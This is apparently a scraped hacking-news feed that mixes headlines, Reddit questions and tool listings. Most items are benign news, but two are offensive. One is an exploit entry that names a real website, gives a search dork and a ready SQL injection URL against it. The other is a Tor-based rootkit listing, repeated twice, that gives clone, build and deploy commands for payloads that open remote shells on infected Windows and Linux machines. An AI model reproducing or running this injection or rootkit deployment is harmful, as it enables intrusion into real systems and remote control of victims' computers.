Hacking on Medium
El troyano bancario Mekotio resurge con nuevas técnicas de ataque y sigilo

https://cdn-images-1.medium.com/max/1471/0*5y8_ZfQ7CBhHWqR4
PUBLICADO EN 3 NOVIEMBRE, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Khamenei.ir SQL Injection

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Khamenei.ir suffers from a remote SQL injection vulnerability.

MD5 | 17d6bc18adc607b89ff1fc1ffd9f720c

Download
################################################## ################################################## #####################
# #
# Exploit Title : Khamenei.ir has SQL Inj vulnerabilities #
# #
# Author : E1.Coders #
# #
# Contact : E1.Coders [at] Mail [dot] RU #
# #
# Portal Link : khamenei.ir (https://farsi.khamenei.ir) #
# #
# Tested ON : Persian language version Host #
# #
# Security Risk : ~[Critical]~ #
# #
# Description : Description: All websites with this version used can be targeted #
# #
# DorK : "intext:"book-archive?nt="" #
# #
# #
# #
################################################## ################################################## #####################
Details :
the vulnerable file is "book-archive"
SQL Inj Expl0iTs :
https://farsi.khamenei.ir/book-archive?nt=99999999 Codes
Dem0 :

https://farsi.khamenei.ir/book-archive?nt=99999999%27 oR 6168693=6168693 aNd %276199%27=%276199

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Tor-Rootkit - A Python 3 Standalone Windows 10 / Linux Rootkit Using Tor

https://blogger.googleusercontent.com/img/a/AVvXsEhAUtAjcZl-79fqxehj5cCuE7uYVP9CMDVIgC_z3jrh96fRBklcjd-OVUN6UO0wwhTW3tOAkzGpufpnsnGDEn_GAuy4yeHfW___C3N5DzkGHeGATr9Jp3JDzzhgEKeCDmes2NSczltejyKp1MmB70e_TjmKoEy8fsA157fDT2UX3vV7octlhiSvkA3b9w=w640-h264
A Python 3 standalone Windows 10 / Linux Rootkit. The networking communication get's established over the tor network.
Disclaimer

Use for educational purposes only.

How to use

1. Clone the repo and change directory:

git clone https://github.com/emcruise/TorRootkit.git
cd ./tor-rootkit

1. Build docker container:

docker build -t listener .

1. Run docker container:

docker run -v $(pwd)/executables:/executables/ -it listener

1. Deploy the executables: When the listener is up and running it generates a "executables" directory containing different payloads for different plattforms.

TorRootkit/
│ ...
└ executables/


Note: The client can take some time (20s-30s) to connect because PyInstaller executables are a bit slower and it need's to start tor.

Features

* Standalone executables for Windows and Linux, including python interpreter and tor
* the whole communication works over tor hidden services which guarantees some degree of anonymity
* The Listener can handle multiple clients
* The Listener generates payloads for different platforms on startup

Listener Shell Commands
Command Explanation helpShows the help menu ^Cor exitExits the shell listlists all connected clients with their according index select start shell with client
Client Shell Commands
Command Explanation helpShows the help menu ^Cor exitExits the client shell and returns to listener shell os Executes a command in the clients shell and returns the output backgroundKeeps the connection to a client and returns to listener
Contribution

Any contributions are appreciated. Make a pull-requests and I'll merge if it passes my automatic tests.
Download Tor-Rootkit

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Who's Minding Your Company's Crypto Decisions?

Security teams must first evaluate security protocols and the reputation of the cryptocurrency payment platform before their companies can proceed to accept the alternative currency as payment.

Dark Reading: Attacks/Breaches
US Defense Contractor Discloses Data Breach

Electronic Warfare Associates says an attackers infiltrated EWA email in August, which led to the exfiltration of files with personal data.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
SolarWinds Investors Allege Board Knew About Cyber Risks

https://external-preview.redd.it/PeOHl6Xv0G0QNeB9Q1ceyBwkIS2WLdElSYuOjH1hDjg.jpg?width=640&crop=smart&auto=webp&s=5508fb546fc1fdb766a30f7e30edb809e4b513a2 submitted by /u/Motor-Ad-8858
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
So, modding a ps4?

So I was given an old ps4, one that isn't exactly in good shape, but I already have one, so I was going to alter the one I was given. I would like to play older games on it mostly (like ps3 and below) so is there a way to mod it where I can do that?

submitted by /u/Maniacal_Nut
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Another Calculator — CTF MetaRed (2021)

https://cdn-images-1.medium.com/max/600/1*cc2MBPI7bqteDQXnWJkVMA.png
A Writeup for a web challenge from CTF MetaRed.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
SecureAuth Buys Acceptto to Deliver Low-Friction Authentication to Enterprises

Acceptto’s contextual behavior threat intelligence technology will help SecureAuth deliver AI-driven MFA and continuous password-less authentication, SecureAuth says.

hacking: security in practice
New to hacking, where should I start

Hey, I'm am a beginner to hacking and networking and I was curious where to start. I can't pay for any services and I have a MacBook pro to use. What's the best website/free course I should check out?

submitted by /u/redted29is
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
‘Lone Wolf’ Hacker Group Targeting Afghanistan and India with RATs

https://cdn-images-1.medium.com/max/700/0*cw6g8XQQSNuogPHD
A new malware campaign aimed at Afghanistan and India uses a fixed Microsoft Office issue to allow attackers total control over hacked…

Continue reading on rootissh »

___________________________
@hacking_Attack
@Hacking_Video

Tor-Rootkit - A Python 3 Standalone Windows 10 / Linux Rootkit Using Tor

A Python 3 standalone Windows 10 / Linux Rootkit. The networking communication get's established over the tor network.Disclaimer Use for educational purposes only. How to use Clone the repo and change directory: git clone https://github.com/emcruise/TorRootkit.gitcd ./tor-rootkit Build docker container: docker build -t listener . Run docker container: docker run -v $(pwd)/executables:/executables/ -it listener Deploy the executables: When the listener is up and running it generates a "executables" directory containing different payloads for different plattforms. TorRootkit/│ ...└ executables/ Note: The client can take some time (20s-30s) to connect because PyInstaller executables are a bit slower and it need's to start tor. Features Standalone executables for Windows and Linux, including python interpreter and tor the whole communication works over tor hidden services which guarantees some degree of anonymity The Listener can handle multiple clients The Listener generates payloads for different platforms on startup Listener Shell Commands Command Explanation help Shows the help menu ^C or exit Exits the shell list lists all connected clients with their according index select start shell with client Client Shell Commands Command Explanation help Shows the help menu ^C or exit Exits the client shell and returns to listener shell os Executes a command in the clients shell and returns the output background Keeps the connection to a client and returns to listener Contribution Any contributions are appreciated. Make a pull-requests and I'll merge if it passes my automatic tests. Download Tor-Rootkit
Read more...

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Paid proxy or free?

So..I can’t seem to find an answer, but I might be asking wrong.

Paid proxy or free? For surfing the web? Is a paid proxy more or less trackable?

submitted by /u/AreYouOkayArthur
[link] [comments]

hacking: security in practice
How do you learn the little things in networking?

So I am kinda new to hacking and I signed up for TryHackMe and it's been really fun. However when it comes to networking, I find that there are a lot of terms such as TCP/IP, UDP, ARP, OSI, etc. and most of them have very closely related definitions. How do you memorise what each one of them represent so you don't mix them up?

submitted by /u/Extension-Travel9544
[link] [comments]